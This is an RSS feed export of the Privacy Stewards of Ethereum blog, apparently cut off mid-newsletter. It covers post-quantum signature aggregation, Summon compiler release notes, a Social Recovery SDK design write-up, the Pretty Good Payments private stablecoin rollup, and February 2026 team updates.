Privacy Stewards of Ethereum https://pse.dev PSE is a research and development lab with a mission of making cryptography useful for human collaboration. We build open source tooling with things like zero-knowledge proofs, multiparty computation, homomorphic encryption, Ethereum, and more. Thu, 02 Apr 2026 09:35:22 GMT https://validator.w3.org/feed/docs/rss2.html https://github.com/jpmonette/feed en Privacy Stewards of Ethereum https://pse.dev/favicon.ico https://pse.dev All rights reserved 2026, Privacy Stewards of Ethereum <![CDATA[Untitled Article]]> https://pse.dev/blog/README https://pse.dev/blog/README Thu, 02 Apr 2026 09:35:22 GMT <![CDATA[# Adding New Articles This document explains how to add new articles to into pse.dev blog section. ## Step 1: Create the Article File 1. Duplicate the `_article-template.md` file in the `content/articles` directory 2. Rename it to match your article's title using kebab-case (e.g., `my-new-article.md`) ## Step 2: Fill in the Article Information Edit the frontmatter section at the top of the file: ``` --- authors: ["Your Name"] # Add your name or multiple authors in an array title: "Your Article Title" # The title of your article image: "/articles/articles-name-folder/cover.webp" # Image used as cover, Keep in mind the image size, where possible use .webp format, possibly images less then 200/300kb tldr: "A brief summary of your article" #Short summary date: "YYYY-MM-DD" # Publication date in ISO format canonical: "mirror.xyz/my-new-article" # (Optional) The original source URL, this tells search engines the primary version of the content tags: ["tag1", "tag2"] # (Optional) Add relevant tags as an array of strings to categorize the article projects: ["project-1"] # (Optional) Link to related projects by their id --- ``` Write your article content using Markdown formatting: - Use `#` for main headings (H1), `##` for subheadings (H2), etc. - Use `*italic*` for italic text and `**bold**` for bold text - For code blocks, use triple backticks with optional language specification: ```javascript // Your code here ``` - For images, use the Markdown image syntax: `![Alt text](/articles/your-article-name/image-name.webp)` - For LaTeX math formulas: - Use single dollar signs for inline math: `$E=mc^2$` will render as $E=mc^2$ - Use double dollar signs for block math: ``` $$ F(x) = \int_{-\infty}^{x} f(t) dt $$ ``` Will render as a centered math equation block ## Step 3: Add Images 1. Create a new folder in the `/public/articles` directory with **exactly the same name** as your markdown file (without the .md extension) - Example: If your article is named `my-new-article.md`, create a folder named `my-new-article` 2. Add your images to this folder: - Any additional images you want to use in your article should be placed in this folder ## Step 4: Preview Your Article Before submitting, make sure to: 1. Check that your markdown formatting is correct 2. Verify all images are displaying properly ## Step 5: PR Review process Open Pull request following the previews step and for any help - Suggest to tag: @wslyvh, @psedesign, andyguzmaneth for PR review. - If question, please reach out in discord channel #website-pse ## Important Notes - The folder name in `/public/articles` must **exactly match** your markdown filename (without the .md extension) - Use descriptive file names for your additional images - Optimize your images for web before adding them to keep page load times fast ## Caching Policy Static assets have different caching behaviors: **Images** (`.jpg`, `.jpeg`, `.png`, `.gif`, `.webp`, `.svg`, `.avif`) are cached aggressively with `immutable` headers for 1 year. This means once a user downloads an image, their browser will not re-request it. **Documents** (`.pdf`, etc.) use default browser caching, allowing updates to propagate within hours/days. ### Updating Static Assets If you need to update an existing static file (image, PDF, etc.), follow the **cache-busting pattern**: 1. **Do not replace the file in-place**, users with cached versions won't see updates 2. **Use a versioned filename**, rename `report.pdf` to `report-v2.pdf` 3. **Update all references** to point to the new filename This follows [Mozilla's recommendation](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control#immutable) for immutable resources: include version/hashes in URLs rather than modifying existing files. See [issue #607](https://github.com/privacy-ethereum/pse.dev/issues/607) for context on this policy. ]]> <![CDATA[Post-Quantum Signature Aggregation with Falcon + LaBRADOR]]> https://pse.dev/blog/post-quantum-signature-aggregation-with-falcon-and-LaBRADOR https://pse.dev/blog/post-quantum-signature-aggregation-with-falcon-and-LaBRADOR Thu, 02 Apr 2026 09:35:22 GMT <![CDATA[ We demonstrate efficient aggregation of Falcon signatures using LaBRADOR, achieving compact, quantum-resistant proofs. Read the full technical breakdown on [ethresear.ch](https://ethresear.ch/t/lattice-based-signature-aggregation/22282). --- Ethereum currently uses BLS signatures, but these are vulnerable to future quantum attacks. Our recent research explores lattice-based signature aggregation using Falcon signatures and the LaBRADOR proof system. Key highlights: - **Compact proofs:** Aggregate 10,000 Falcon-512 signatures into a 74 KB proof. - **Efficient generation:** Proofs generated in \~6 seconds on commodity hardware. - **Verification optimization:** Current verification time (\~2.6 seconds) identified as a primary bottleneck, with active work to reduce it further. This work is part of our broader post-quantum initiative at PSE, focusing on securing Ethereum's core infrastructure. --- 🔗 **Full technical details and discussions:** [Lattice-based signature aggregation on ethresear.ch](https://ethresear.ch/t/lattice-based-signature-aggregation/22282) ]]> <![CDATA[Summon Major Update]]> https://pse.dev/blog/summon-major-update https://pse.dev/blog/summon-major-update Thu, 02 Apr 2026 09:35:22 GMT <![CDATA[I’m excited to share the biggest Summon update yet. 🎉]]> <![CDATA[ I’m excited to share the biggest Summon update yet. 🎉 ## Wait - What's Summon? [Summon](https://github.com/privacy-scaling-explorations/summon) is a dialect of TypeScript for generating boolean circuits! We use this to great effect in [MPC Framework](https://mpc.pse.dev/), since it requires the computation inside the MPC cryptography to be a boolean circuit. It's so much more than a TypeScript library - it's a very special runtime that transforms branching (`if/else/for/while/switch`) into flat circuitry. ## 1 · Streamlined IO with `Summon.IO` ### Before ```js export default function main(a: number, b: number) { const plus = a + b const gt = a > b return [plus, gt] } // and separately provide mpcSettings: const mpcSettings = [ { name: "alice", inputs: ["a"], outputs: ["main[0]", "main[1]"], }, { name: "bob", inputs: ["b"], outputs: ["main[0]", "main[1]"], }, ] ``` ### After ```js default function main(io: Summon.IO) { const a = io.input('alice', 'a', summon.number()); const b = io.input('bob', 'b', summon.number()); io.outputPublic('plus', a + b); io.outputPublic('gt', a > b); } // mpcSettings is generated automatically ``` _Shorter, self‑contained, and each output has a real name._ Per-party outputs are also coming, and will fit neatly into this API: `io.output(partyName, outputName, value)`. Type information is available via [`summon.d.ts`](https://github.com/privacy-scaling-explorations/summon/blob/main/summon.d.ts): ![intellisense demo](/articles/summon-major-update/intellisense-light.webp) ## 2 · Typed Inputs (now with `bool`) The third argument of `io.input` specifies the type: ![number example](/articles/summon-major-update/number-example-light.webp) ![bool example](/articles/summon-major-update/bool-example-light.webp) `bool`s now work properly, so you can pass `true`/`false` instead of `1`/`0`. This is both better devX and removes unnecessary bits. Output bools are also new, decoding correctly as `true`/`false` (the values you get out of `await session.output()`). This also sets us up to support arrays/etc and grow into comprehensive typing à la [zod](https://zod.dev/?id=basic-usage) or [io‑ts](https://github.com/gcanti/io-ts/blob/master/index.md). ## 3 · Public Inputs Need a single program that adapts to many input sizes/participants? Public inputs let you accept these at **compile time**: ```js const N = io.inputPublic("N", summon.number()) let votes: boolean[] = [] for (let i = 0; i < N; i++) { const vote = io.input(`party${i}`, `vote${i}`, summon.bool()) votes.push(vote) } ``` Pass them via CLI: ```bash summonc program.ts \ --public-inputs '{ "N": 10 }' \ --boolify-width 8 ``` or the `summon-ts` API: ```js const { circuit } = summon.compile({ path: "program.ts", boolifyWidth: 8, publicInputs: { N: 10 }, files: { /* ... */ }, }) ``` See it in action: **JumboSwap** [circuit](https://github.com/privacy-scaling-explorations/jumboswap/blob/3f81b87/src/circuit/main.ts). ## 4 · Faster Branch Merging Merging has to occur whenever your program branches on signals: ```js const value = cond ? x : y ``` Circuits can't evaluate only one side of this like CPUs do, so the Summon compiler has to emit wires for both branches and then merge them together like this: ```js value = merge(condA, x, condB, y) // = (condA * x) + (condB * y) // old method // = (condA * x) XOR (condB * y) // new method ``` So, `+` became `XOR` which is great because `XOR` is almost free, but why is this allowed? The key is that `condA` and `condB` cannot be true simultaneously. In this example we have `condB == !condA`, but we don't have to rely on that. These conditions are _always_ non-overlapping - there is only ever one "real" branch with `cond == 1`. This means each bit of the addition cannot produce a carry and is equivalent to `XOR`, because `XOR` is 1-bit addition. This caused some real speedups in our demos: - [**JumboSwap**](https://mpc.pse.dev/apps/jumboswap): ≈4× faster - [**Lizard‑Spock**](https://mpc.pse.dev/apps/lizard-spock): ≈20 % faster ## Join Us! - [Telegram group](https://t.me/+FKnOHTkvmX02ODVl) - [Discord](https://discord.gg/btXAmwzYJS) (Channel name: 🔮-mpc-framework) - [Github Repo](https://github.com/privacy-scaling-explorations/mpc-framework) ⭐️ - [Website](https://mpc.pse.dev) Thanks for building privacy‑preserving magic with us! 🪄 ]]> summon mpc typescript privacy developer-tools release-notes circuits cryptography compiler <![CDATA[Social Recovery SDK: design, implementation and learnings]]> https://pse.dev/blog/social-recovery-sdk https://pse.dev/blog/social-recovery-sdk Mon, 02 Mar 2026 00:00:00 GMT <![CDATA[Social recovery is a wallet recovery model where trusted guardians can help restore access if the owner loses their key, replacing fragile seed-phrase backups with programmable onchain policy. Social Recovery SDK gives developers a complete toolkit to add this flow to smart wallets: configure guardian sets and thresholds, verify guardian proofs, run challenge periods, and execute secure ownership handover. In this blog post we break down the architecture, implementation details, and key learnings from building it.]]> <![CDATA[ ## TL;DR Social recovery has been discussed for years, but developers still lack a practical, trustless SDK they can integrate directly into wallets. In this post, we present Social Recovery SDK: an on-chain recovery stack with threshold policies, timelocks, and multiple guardian authentication methods (EOA signatures, passkeys, and zkJWT). We explain why we chose a monolithic RecoveryManager architecture over a composable design, and how we implemented and tested the system across Noir circuits, Solidity contracts, and client SDK modules. The result is a working v1 with strong on-chain guarantees, plus clear open problems for future iterations. ## What is Social Recovery Social recovery is a mechanism to restore control over an account when the original signing key is no longer usable, by executing a predefined recovery procedure that involves other actors (**guardians**). Social recovery generally comes in two forms: **off-chain recovery**, where trust and reconstruction happen outside the blockchain (for example via Shamir Secret Sharing key restore mechanism), and **on-chain recovery**, where guardian policy, verification, and ownership handover are enforced directly by smart contracts; this blog post (and SDK) covers the latter. The recovery mechanism targets non-custodial accounts (EOA with EIP-7702 or, more generally, Smart Accounts); it is intended for key-loss recovery (not seed phrase theft protection). It relies on protocol-defined rules (policies), not on a "support desk" or a single master key. Social recovery is not a new idea: the core primitives have existed for years, and many wallet teams have already implemented custom recovery flows. The topic has been discussed for a long time, including Vitalik Buterin's writing on social recovery in January 2021[^1], yet there is still no simple, trustless, developer-friendly SDK that supports multiple authentication methods out of the box. That is exactly why we built Social Recovery SDK. ## Social Recovery SDK: architecture / design Designing the architecture was the hardest part of building Social Recovery SDK. Most implementation bugs can be fixed later, but core design mistakes become protocol constraints, so we treated this phase as the critical one. While working through architecture, we uncovered several non-obvious tradeoffs around trust assumptions, UX, and policy enforcement. *In this section, we share the key decisions that shaped the SDK*. There are many valid ways to design social recovery, so we started from goals rather than from a specific implementation. Our target properties were: no single party can unilaterally take over an account; N-of-M approvals with timelocks; support for multiple guardian authentication classes; minimal reliance on centralized services; and better guardian privacy so the guardian set is not trivially exposed on-chain. Just as importantly, we wanted a recovery flow that non-developers can complete, closer to a Web2 “Forgot password” experience than a research prototype. From these goals, the SDK architecture naturally split into two major layers. First is the **smart-contract layer**: interfaces and concrete contracts for guardian authentication adapters and recovery policies, where security-critical rules are enforced on-chain. Second is the **client SDK layer**: adapters and orchestration logic that generate proofs, package recovery intents, and interact with contracts safely. At a high level, the recovery lifecycle has two phases. The first is **configuration**: the wallet owner defines guardians, threshold (N-of-M), and challenge period/timelock policy. The second is **recovery** itself: guardians initiate and submit authenticated approvals, and once threshold and timing conditions are satisfied, the contract verifies this and transfers smart-account ownership to the new owner. This split keeps policy explicit up front and execution deterministic during incidents. ### What is a guardian and guardian types A guardian is an actor that can help restore access to an account under a recovery policy, for example by approving a recovery intent or proving an authentication claim. A guardian can be a person, device, organization, or another account, and in our SDK guardians are handled as policy participants enforced on-chain (not via any centralized admin). In the first published version of the SDK, we support three guardian classes: EOA (ECDSA signature verification), Google email (zkJWT), and passkeys. ### Architectural Options for On-Chain Recovery There are multiple valid ways to design on-chain social recovery, and early in the project we seriously evaluated both. At a high level, the tradeoff is between a monolithic RecoveryManager (one contract owns policy + verification + execution) and a composable architecture (guardian-specific auth contracts plus a separate policy aggregator). Our initial direction was the composable approach. In that model, different guardian classes are implemented in separate contracts, and recovery can be coordinated through existing primitives such as a dedicated Safe, where guardians act as signers and Safe enforces N-of-M approvals. This has clear advantages: development is usually faster, components are easier to test and debug independently, and upgrades or bug fixes can be isolated per module. We built a local PoC around this idea, and it worked. But the main issue there was a timelock enforcement. For social recovery, timelocks are not optional: without them, a colluding guardian set can potentially take over a wallet before the owner can react. In a composable setup based on Safe signers, robust timelock enforcement requires adding an extra custom Safe module/plugin. At that point, effective control shifts to that module, which is not meaningfully simpler than running a dedicated RecoveryManager contract, and the overall system becomes just heavier. For that reason, we chose the monolithic approach for the first SDK release. This decision was also informed by discussions with the ZK Email team, who have worked on social recovery for a long time[^2]. The monolithic design gave us the most direct way to guarantee policy correctness, timelock semantics, and end-to-end security in one place. --- For more details about the design and architecture, refer to the documentation[^5] and specification[^4]. ## Implementation ### High-level diagram of the SDK ![High-level architecture diagram for the Social Recovery SDK](/articles/social-recovery-sdk/high-level-architecture.svg) ### zkJWT Circuit For the zkJWT circuit, we implemented the proving logic in Noir and kept the constraints aligned with the recovery intent model from the spec[^4]. At a high level, the circuit verifies: * JWT signature validity * enforces email_verified = true * checks that the claimed email matches the private input * binds the proof to the recovery flow via intent_hash. It then outputs a guardian commitment $\operatorname{Poseidon2}(\mathrm{email\\_hash}, \mathrm{salt})$ that is used by on-chain verification. Testing is split into two layers: circuit-level tests inside [main.nr](https://github.com/privacy-ethereum/social-recovery-sdk/blob/main/circuits/zkjwt/src/main.nr) and integration-style proving flow through scripts ([generate-prover.ts](https://github.com/privacy-ethereum/social-recovery-sdk/blob/main/circuits/zkjwt/scripts/src/generate-prover.ts)) that produce Prover.toml, run witness/proof generation, and verify outputs against expected commitment/public inputs. ### Smart Contracts For Smart Contracts, we used Foundry for compilation, testing, and deployment workflows. The core design is one RecoveryManager per wallet policy, with dedicated verifier contracts for passkeys and zkJWT, while EOA validation is handled through signature recovery. Current test coverage is broad across lifecycle, replay protection, mixed guardian types, edge cases, and policy updates; at the moment the suite reports **155 passing tests**. This includes both unit-style checks (libraries/verifiers) and full recovery-flow tests (start, submit, execute, cancel, expire, and policy mutation behavior). ### Client SDK On the client side, the SDK provides the integration surface as reusable modules, not app-specific glue code. AuthManager + adapters (EOA, Passkey, zkJWT) generate guardian proofs in a common format, while RecoveryClient handles *start -> submit -> execute* interactions with typed contract wrappers. PolicyBuilder provides deterministic policy construction for guardian sets and thresholds, and EIP-712 helpers keep intent hashing/signing consistent between off-chain and on-chain paths. The goal of this layer is to keep wallet integration thin while preserving the protocol guarantees defined in contracts. ### Integration & Example App The SDK is designed to be integrated directly into existing wallets and dapps, rather than used as a standalone protocol service. A typical integration flow is straightforward: deploy verifier/recovery contracts, configure guardian policy for each wallet, wire SDK auth adapters on the client, and expose recovery actions (start, submit proof, execute) in the product UI. This lets teams keep their own wallet UX while delegating recovery-critical enforcement to on-chain policy logic. For implementation details and exact integration steps, follow the project documentation[^5]. To make integration concrete, we also built a local demo dapp: a minimal smart-wallet app with the SDK recovery flow fully wired in. It includes policy setup, guardian-based recovery, and end-to-end execution against a local chain. You can run it locally with Foundry installed, plus Google OAuth configuration for JWT-based authentication (required for zkJWT). For full setup and run instructions, use the dedicated guide[^6]. --- You can find the implementation of the SDK here[^3]. --- ## Open questions While the protocol is production-oriented in scope, a few important open problems remain outside the SDK boundary and are worth calling out explicitly: 1. **Private salt synchronization (owner <-> guardian).** For zkJWT-style guardians, the private salt must be shared in a way that preserves privacy and does not create extra UX friction. The unresolved question is who should generate it and how it should be transferred without forcing users into awkward side channels (for example, manual email exchange). In the current SDK flow, this sync is intentionally left to the wallet owner (manual handoff). 2. **DKIM public-key registry and trustless rotation.** DNSSEC coverage is still incomplete across providers (including major ones), which makes trustless key-rotation handling a real issue for email-based authentication. Our recommendation is to use self-maintained on-chain registries updated by the domain owner. For long inactivity windows, a fallback migration path to a DAO-supported key registry is a practical safety mechanism. 3. **Cross-chain UX without keystores.** Without shared keystore primitives, users must reconfigure and repeat recovery setup across chains, which degrades UX and increases operational risk. This limitation is out of scope for the current SDK but affects real adoption. We expect proposals like RIP-7728 (L1SLOAD precompile + Keystores) to materially improve this by making cross-chain recovery state more portable. [^1]: Vitalik Buterin, *Why we need wide adoption of social recovery wallets* (January 2021): https://vitalik.eth.limo/general/2021/01/11/recovery.html [^2]: ZK Email social recovery docs: https://docs.zk.email/account-recovery/ [^3]: Social Recovery SDK repository: https://github.com/privacy-ethereum/social-recovery-sdk/ [^4]: Specification (SPEC.md): https://github.com/privacy-ethereum/social-recovery-sdk/blob/main/SPEC.md [^5]: Official documentation: https://privacy-ethereum.github.io/social-recovery-sdk/ [^6]: Example app / integration guide: https://github.com/privacy-ethereum/social-recovery-sdk/tree/main/example ]]> social recovery zkp privacy <![CDATA[Pretty Good Payments: Free, Private and Scalable Stablecoin Transactions on Ethereum]]> https://pse.dev/blog/pretty-good-payments https://pse.dev/blog/pretty-good-payments Thu, 26 Feb 2026 00:00:00 GMT <![CDATA[Pretty Good Payments combines zero-knowledge proofs with a yield-based economic model that turns idle deposits into network fuel, enabling free, private stablecoin transactions that settle directly on Ethereum.]]> <![CDATA[ > This article is a guest contribution by [aleph_v](https://github.com/aleph-v), an external contributor and developer of Pretty Good Payments. The work was supported by a Cypherpunk Fellowship from Protocol Labs and Web3Privacy Now and a matching grant from EF PSE. In 1991, Phil Zimmermann released Pretty Good Privacy, a tool that brought practical encryption to everyday email. It wasn't perfect in every theoretical sense, but it was good enough to meaningfully protect ordinary people, and it changed what privacy meant on the internet. Pretty Good Payments carries that same ambition into finance. It combines zero-knowledge proofs with a novel economic model that turns idle deposits into the fuel that runs the network. Sender, receiver, amount, and transaction graph are all hidden from observers. The whole system settles directly to Ethereum, secured by cryptographic proofs and economic incentives enforced on L1. And it's free — users pay zero fees. ## The Problem Ethereum users face two persistent frustrations: high transaction costs and zero privacy. When you pay a freelancer in USDC, your employer can see your salary. Your landlord can see your net worth. Anyone who learns a single address of yours can trace your entire financial life — no hack required, just a block explorer. Every transfer is recorded permanently on a public ledger, and anyone can follow the money. For the privilege of this transparency, you pay gas fees that can spike unpredictably. Existing privacy solutions come with their own costs: high fees, centralization risks, limited token support, or clumsy user experiences. Layer 2 rollups have reduced costs dramatically, but they've done little for privacy. Pretty Good Payments asks a more ambitious question: *"what if there were no fees at all?"* ## What It Feels Like You tap send, enter the amount, and confirm. Behind the scenes, a zero-knowledge proof is generated in roughly half a second and submitted to a sequencer. The sequencer validates the transaction and returns a preconfirmation — a commitment to include it in the next block — in milliseconds, as fast as the API can respond. To the user, it feels no different from sending a message. The recipient sees the funds arrive moments later. Neither party pays a cent in fees — only the intended amount moves. The entire transaction stays completely private: sender, receiver, and amount are all hidden. Final settlement on Ethereum follows after a challenge period, during which anyone can prove fraud if they find it. The preconfirmation is backed by the sequencer's staked ETH — submitting a transaction they preconfirmed and then failing to include it means losing their stake. Whether you're a freelancer receiving payment, a fintech building a payment app, or a DAO distributing grants — this is what "free and instant" looks like in practice: zero fees, sub-second responsiveness, and up to 400 transactions per second across the network. ## How It Works: The Big Picture Pretty Good Payments is technically classified as a rollup, though it may not match the mental image that word conjures. It settles directly to Ethereum, its transaction data lives on Ethereum, and its security comes from Ethereum, using an open set of sequencers and standard ERC-20 tokens. Think of it as a smart contract system that batches private transactions and posts them to L1, with a fraud proof mechanism that lets anyone keep sequencers honest. ### Privacy When you deposit tokens into Pretty Good Payments, they're converted into encrypted notes, sealed envelopes containing value. Each note records the token type, the amount, a random blinding factor, and a public key identifying the owner. All of this is hashed together using a cryptographic function called Poseidon, so the on-chain record reveals nothing about what's inside. When you want to spend a note, you generate a zero-knowledge proof: a mathematical demonstration that you know the private key for that note, that the note exists in the system, and that your transaction balances. The proof reveals none of the underlying details. An observer sees that *a valid transaction happened* but learns nothing about who sent it, who received it, or how much was transferred. This is the same foundational approach used by Zcash, adapted for Ethereum. ### Free Transactions Through Yield Here's where Pretty Good Payments gets creative. When you deposit tokens, the system puts them to work immediately, routing them into yield-generating vaults like Aave or Compound that earn interest on deposited assets. The yield generated by everyone's deposits is what pays the sequencers, the participants who batch and submit transactions to Ethereum. In a traditional rollup, sequencers charge you fees. In Pretty Good Payments, sequencers earn from the collective yield pool instead. Their share is proportional to how much blob space they fill with transactions — process more transactions, earn more yield. Priority sequencers who commit to reliable block production earn a 2x multiplier during their exclusive submission windows. To put concrete numbers on it: a single Ethereum block can carry up to 21 EIP-4844 blobs, each holding roughly 273 private transactions — over 5,700 transactions per block, at a cost of 0.01 to 0.001 cents (not dollars) per transaction. For example in a recent demo the team submitted 1638 transactions for 0.06 cents, if you were to submit one such blob each block you'd get 126 transactions per second for a year with only 145k (eg 0.06 cents per block). To support this cost using only low risk DeFi or Ethereum staking yield earning 3% APY you would only need 4.8 million of TVL, which is a very achievable number for a wide range of applications. The result: users transact for free, and sequencers get paid. Your deposited funds still belong to you and you can withdraw them at any time. For most users, the convenience of free private transactions far exceeds the yield they'd otherwise earn and they might even get yield back if there are enough deposits. ## How Security Works Pretty Good Payments is a stage two rollup by default, the highest level of rollup decentralization and security. Its security is grounded entirely in Ethereum and in open participation: anyone can become a sequencer, and anyone can hold sequencers accountable. The system uses an optimistic model — blocks are assumed valid unless proven otherwise. After a sequencer posts a batch, there is a challenge period during which anyone can submit a fraud proof. If no fraud is proven within the window, the block is finalized. If fraud is proven, the block and everything after it is rolled back, and the sequencer's stake is slashed. ### Open Sequencing Anyone can become a sequencer by staking ETH, and the stake acts as a security bond: submit invalid data and you lose it. To ensure reliable block production, time is divided into epochs. Each epoch has a closed period where a designated priority sequencer gets an uncontested window to submit, followed by an open period where any staked sequencer can participate. The open period guarantees that the system keeps producing blocks even if a priority sequencer is offline, keeping the network live and censorship-resistant. This openness is particularly relevant for businesses. Any company can register as a sequencer and batch transactions on behalf of its own users, with no approval process and no dependency on a third-party sequencer. A business stakes a small amount of ETH, runs the sequencer software, and submits its customers' transactions directly to Ethereum. The entire relationship is between the business, its users, and the Pretty Good Payments smart contracts. This opens up real use cases across finance and payments. A financial institution could settle zero coupon bonds through Pretty Good Payments, using private notes to represent positions and settling them on-chain while not revealing onchain the counterparties and notional amounts. A fintech provider could integrate Pretty Good Payments as the payment rail behind a consumer app, giving users instant, free stablecoin transfers with the same feel as any polished payment product, offering super fast preconfirmations and free transactions to only their users. Since the system is generic over many types of assets many types of end users can be served in the same privacy set, with all companies contributing to each other's privacy. ### Permissionless Fraud Proofs After a sequencer submits a batch of transactions, it enters a challenge period. During this window, anyone can examine the data and prove fraud if they find it. Being a challenger just means running the software. The system guards against every way a sequencer could cheat: wrong deposit values, double-spends, invalid proofs, incorrect state updates. If a challenger proves any of these, the sequencer loses their entire stake, with half going to the challenger as a reward and the other half burned. The fraudulent batch and everything submitted after it is rolled back. This makes fraud strictly unprofitable, because even if a sequencer colludes with a challenger, the burned half guarantees a net loss. The system further simplifies the process with single-round fraud proofs: the challenger submits all evidence in one transaction and the contract verifies everything on the spot. ## Ethereum-Keyed Accounts: Programmable Privacy Any note in Pretty Good Payments can be owned by an Ethereum address — including a smart contract. Spending requires an on-chain approval through the system's Transaction Registry, so private value can move in and out of on-chain logic atomically. The authorizing address is visible, but the destination, amount, and transaction graph remain hidden. Users can always transfer from an Ethereum-keyed note into a standard ZK-keyed note, making the visible portion a brief, deliberate moment in a longer private flow. This means that you can maintain full programmable composability with Ethereum while also using private transfers of arbitrary assets. This opens up programmable privacy across Ethereum: - **Trustless private swaps**: A DEX contract matches orders on-chain but settles through private note transfers — the counterparty and amount stay hidden. - **Treasury management**: A multisig or DAO treasury governed by on-chain votes distributes payroll or grants where the total outflow is visible but individual recipients and amounts are not. - **Escrow and subscriptions**: Escrow logic is transparent and auditable on L1, while the actual movement of value to end recipients happens privately. ## The Road Ahead Pretty Good Payments sits at a new point in the rollup landscape, one where privacy and zero fees aren't competing luxuries but complementary features of the same economic model. Yield-funded sequencing aligns incentives in a way that traditional fee markets can't: users want free transactions, sequencers want deposits that generate yield, and both get what they want. What comes next is getting Pretty Good Payments into the hands of builders: fintechs looking for a payment rail, institutions that need private settlement, and developers who want to build on programmable privacy. If you or your company is interested in these features please reach out to the team for help and advice on deployment and integration. --- *Pretty Good Payments is open source. Explore the architecture, run a sequencer, or start building on top of it at the [project repository](https://github.com/aleph-v/pretty_good_payments).* ]]> privacy rollups zero-knowledge proofs Ethereum payments <![CDATA[PSE February 2026 Newsletter]]> https://pse.dev/blog/pse-february-2026 https://pse.dev/blog/pse-february-2026 Thu, 19 Feb 2026 00:00:00 GMT <![CDATA[Updates from Private Writes, Private Proving, and Private Reads teams covering research progress, new releases, and ecosystem collaborations.]]> <![CDATA[ Welcome to the February edition of the PSE newsletter! Here's what our teams have been working on. --- ## 🏗️ Private Writes ### Private Transactions Research We published an ethresearch post summarizing our findings when trying to find an alternative wormhole construction. We will also dedicate this month to hardening sonobe, in order to let protocols using our library able to deploy to production. ### Private Transfer Engineering We spent December and early January conducting user research and an initial exploration into zkWormholes. The wormholes exploration was dropped due to implementation tractability, but the research team is continuing to explore ideas for an updated proposal. We spoke with 35 teams in space and uncovered the technical problems they were facing. We built these findings into our 6 month roadmap which has now been published: Part 1 of the roadmap is to publish a state of private transfers report, which analyses and benchmarks different private transfer protocols. We'll also publish our benchmarks in a live dashboard. Part 2 of the roadmap focusses on exploring L2 changes: 1) Prototyping & benchmarking new precompiles that enable application builders on L2s. 2) Speccing a native feature such as a shielded pool, in order to explore native asset privacy, and also shared features that could be used by many dapps. We have now started executing on gathering benchmarks for the state of private transfers report, and prototyping L2 precompiles for cheaper private transfer protocols. ### IPTF (Institutional Privacy Task Force) December focused on Q1 planning and preparation, with the team taking time off for holidays. January shifted to execution: we delivered a hands-on workshop for a major bank in Singapore, gave talks in Hong Kong, and advanced conversations with several institutions on tokenization and stablecoins. We shipped our first Private Bonds PoC with an accompanying [write-up](https://iptf.ethereum.org/building-private-bonds-on-ethereum/). The [iptf-map](https://github.com/ethereum/iptf-map) received 8 new patterns, 12 use case stubs, and infra improvements. Published three articles on [iptf.ethereum.org](https://iptf.ethereum.org/). --- ## 🪢 Private Proving ### iO - We have developed GPU implementations of polynomial arithmetic and polynomial matrix operations that are useful for lattice-based cryptography. The code is available in our mxx repository. In particular, multiplying polynomial matrices on a GPU is about 10× faster than on a CPU. - We succeeded in reducing the circuit depth of modulo-q multiplication over BGG+ encodings from more than 150 to as low as 5 per multiplication. However, this low-depth implementation requires a large number of lookup tables, so we still cannot practically evaluate such circuits over real BGG+ encodings. We are currently working on improving both circuit efficiency and lookup table evaluation techniques for BGG+ encodings. - We have begun exploring more active collaborations with academic researchers. If you are a researcher in lattice-based cryptography and are interested in our work, please let us know. ### Mopro We've upgraded Mopro to improve the developer experience. This includes merging `wasm-bindgen` into `mopro-ffi` and creating Noir provers for Swift, Kotlin, React Native, and Flutter. For Circom, we've built provers using `circom-witnesscalc` and `arkworks`, which supports collaborations on projects focused on private proving. Additionally, we've added mobile SDK documentation for Semaphore to boost its adoption in the mobile space. Moreover, we finalized a write-up exploring the potential of client-side GPUs and how it aligns with Ethereum Foundation's long-term quantum strategy. To coordinate these efforts, we've introduced a PSE roadmap for GPU acceleration, aimed at gathering the community to build a strong foundation for defending people's privacy in everyday life. ### TLSNotary We released TLSNotary Alpha.14, delivering a cleaner, faster, and more reliable experience. This update improves communication between the Prover and Verifier, enhances error reporting, and introduces new cryptographic features. We also launched a simplified browser extension that is more efficient and easier to use, with over half the codebase removed and a smoother user experience. You can try it out at [https://demo.tlsnotary.org](https://demo.tlsnotary.org/). Beyond technical improvements, we've expanded our outreach with new blog posts at https://tlsnotary.org/blog. We invite you to join our next Office Hour to ask any TLSNotary questions and connect with the team: [Office Hours Calendar](https://calendar.google.com/calendar/u/0/embed?src=c_6fe3f25063cc550e019090bb40d3d60ad5f81b3570c5a2d62c2cda96e09ff24d@group.calendar.google.com). ### zkID We made solid progress across OpenAC and revocation efforts within zkID. We created the 2026 roadmap and evaluated rewriting OpenAC circuits using Bellpepper and Arkworks. Based on this analysis, we decided to continue using Circom and focus on optimizing the existing circuits. The current Circom implementation was improved, feedback on the OpenAC paper was addressed, and research on the generalized predicates feature was initiated. We also continued work on OpenAC integrations. On the revocation side, we published the blog post ["Revocation in zkID: Merkle Tree-based Approaches"](https://pse.dev/blog/revocation-in-zkid-merkle-tree-based-approaches). Next, we will focus on implementing generalized predicates, continuing integrations, and publishing a revised version of the OpenAC paper. ### Client-Side Proving The work on the CSP benchmarks repo focused on expanding coverage of popular hashing circuits, ensuring measurement correctness, and improving the contributor experience. The benchmark suite gained new Keccak-256 benchmarks across multiple stacks (including Binius64, Barretenberg, Circom, RISC Zero, and ProveKit), as well as Poseidon benchmarks for Circom, Plonky2, Barretenberg, Expander, and ProveKit. Several improvements to measurement reliability and reporting were implemented as well. Finally, we have added agent contribution instructions to streamline the automated contributions - feel free to vibe-code additional benchmarks and submit a PR! On the multilinear post-quantum systems research front, we updated the HyperPlonk-WHIR and Whirlaway codebases to track the latest versions of WHIR to incorporate all the latest performance improvements. After the updates, we [reran our benchmarks](https://hackmd.io/@clientsideproving/whir-based) against the existing baseline. Both systems demonstrated excellent prover performance against the baseline. The next steps are to align them with the 128-bit security level and research ways to reduce the proof sizes before prototyping the EVM verifier. --- ## 🧪 Private Reads ### PIR We implemented and tested the Plinko scheme on ≥100GB dataset revealing the hint generation phase is intractable (hours, days due to iPRF), but hint generation is paralleizable on GPU, with preliminary benchs indicating 8 minutes hint generation time with 50 GPUs costing <$50 total. Delegating hint generation server-side would necessitate running it inside a TEE to preserve privacy. We [specc'd and reference-implemented](https://github.com/keewoolee/rms24) the related RMS and Plinko scheme, and [started](https://github.com/igor53627/rms24-rs/tree/main) production-grade implementation of RMS based on this spec. We established a spec-driven approach to our approach to PIR schemes. Specs and reference implementations prioritize correctness and clean abstractions. Production-grade implementations are then anchored on such specs. After RMS, we also specc'd and reference-implemented Plinko following the same 